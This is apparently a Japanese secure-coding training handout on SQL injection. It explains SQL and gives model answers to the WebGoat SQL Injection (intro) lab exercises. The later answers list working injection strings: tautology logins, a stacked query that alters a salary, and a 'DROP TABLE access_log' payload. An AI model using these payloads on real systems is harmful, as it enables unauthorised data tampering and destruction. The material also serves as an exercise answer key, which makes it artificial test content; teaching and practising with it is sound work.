SQLインジェクション

SQLインジェクションとは？

“ データベースと連携したウェブアプリケーションの多くは、利用者からの入力情報を基にSQL文（データベースへの命令文）を組み立てています。ここで、SQL文の組み立て方法に問題がある場合、攻撃によってデータベースの不正利用をまねく可能性があります。このような問題を「SQLインジェクションの脆弱性」と呼び、問題を悪用した攻撃を、「SQLインジェクション攻撃」と呼びます。 ”

https://www.ipa.go.jp/security/vuln/websecurity-HTML-1_1.html

SQLとは？

SQLは標準化された（1986年のANSI、1987年のISO）プログラミング言語であり、リレーショナルデータベースを管理し、データベース内のデータに対してさまざまな操作を実行するために使用されます。

データベースはデータのコレクションです。 データは行、列、テーブルに編成され、関連情報を見つけやすくするためにインデックスが付けられています。

従業員を含むSQLテーブルの例。テーブルの名前は「employees」です。

userid	first_name	last_name	department	salary	auth_tan
32147	Paulina	Travers	Accounting	$46.000	P45JSI
89762	Tobi	Barnett	Development	$77.000	TA9LL1
96134	Bob	Franco	Marketing	$83.700	LO9S2V
34477	Abraham	Holman	Development	$50.000	UU2ALK
37648	John	Smith	Marketing	$64.350	3SL99A

SQLクエリを使用すると、データベーステーブルとそのインデックス構造を変更したり、データの行を追加、更新、削除したりできます。

課題1

例の表を見てください。従業員のBobFrancoの部門を取得してみてください。 この割り当てでは完全な管理者権限が付与されており、認証なしですべてのデータにアクセスできることに注意してください。

正解例

名前で検索するパターン

```
SELECT department FROM employees WHERE userid = 96134;
```

```
SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco';
```

WebGoat SQL Injection (intro)

WebGoat SQL Injection (intro) 3,4,5番を問いていきましょう。
（ネットで検索すると答えが出てきてしまうのでなるべく見ないでやってみましょう）

http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson

答え

3

```
UPDATE employees SET department = 'Sales' WHERE userid = 89762;
```

4

```
ALTER TABLE employees ADD phone VARCHAR(20);
```

5

```
GRANT ALTER TABLE TO UnauthorizedUser;
```

SQLインジェクションとは

- secure-coding-training `SQLインジェクション` を参照
  https://github.com/takapi86/secure-coding-training/blob/master/doc/README.pdf
- SQLインジェクション　再現からコード修正まで
  https://www.youtube.com/watch?v=iNFnNO3sb4k

課題2

WebGoat SQL Injection (intro)

WebGoat SQL Injection (intro) 9〜13番を問いていきましょう。

正解例

9

```
Smith' or '1' = '1
' or '1' = '1
```

10

- Login_Count: `0`
- User_Id: `0 OR 1=1`

正解例

11

- `hoge`
- `' OR 'x' = 'x`

12

- Employee Name: `hoge`
- Authentication TAN:

```
'; UPDATE employees SET SALARY = 999999999 WHERE USERID = 37648 AND AUTH_TAN = '3SL99A
```

正解例

13

```
'; DROP TABLE access_log --
```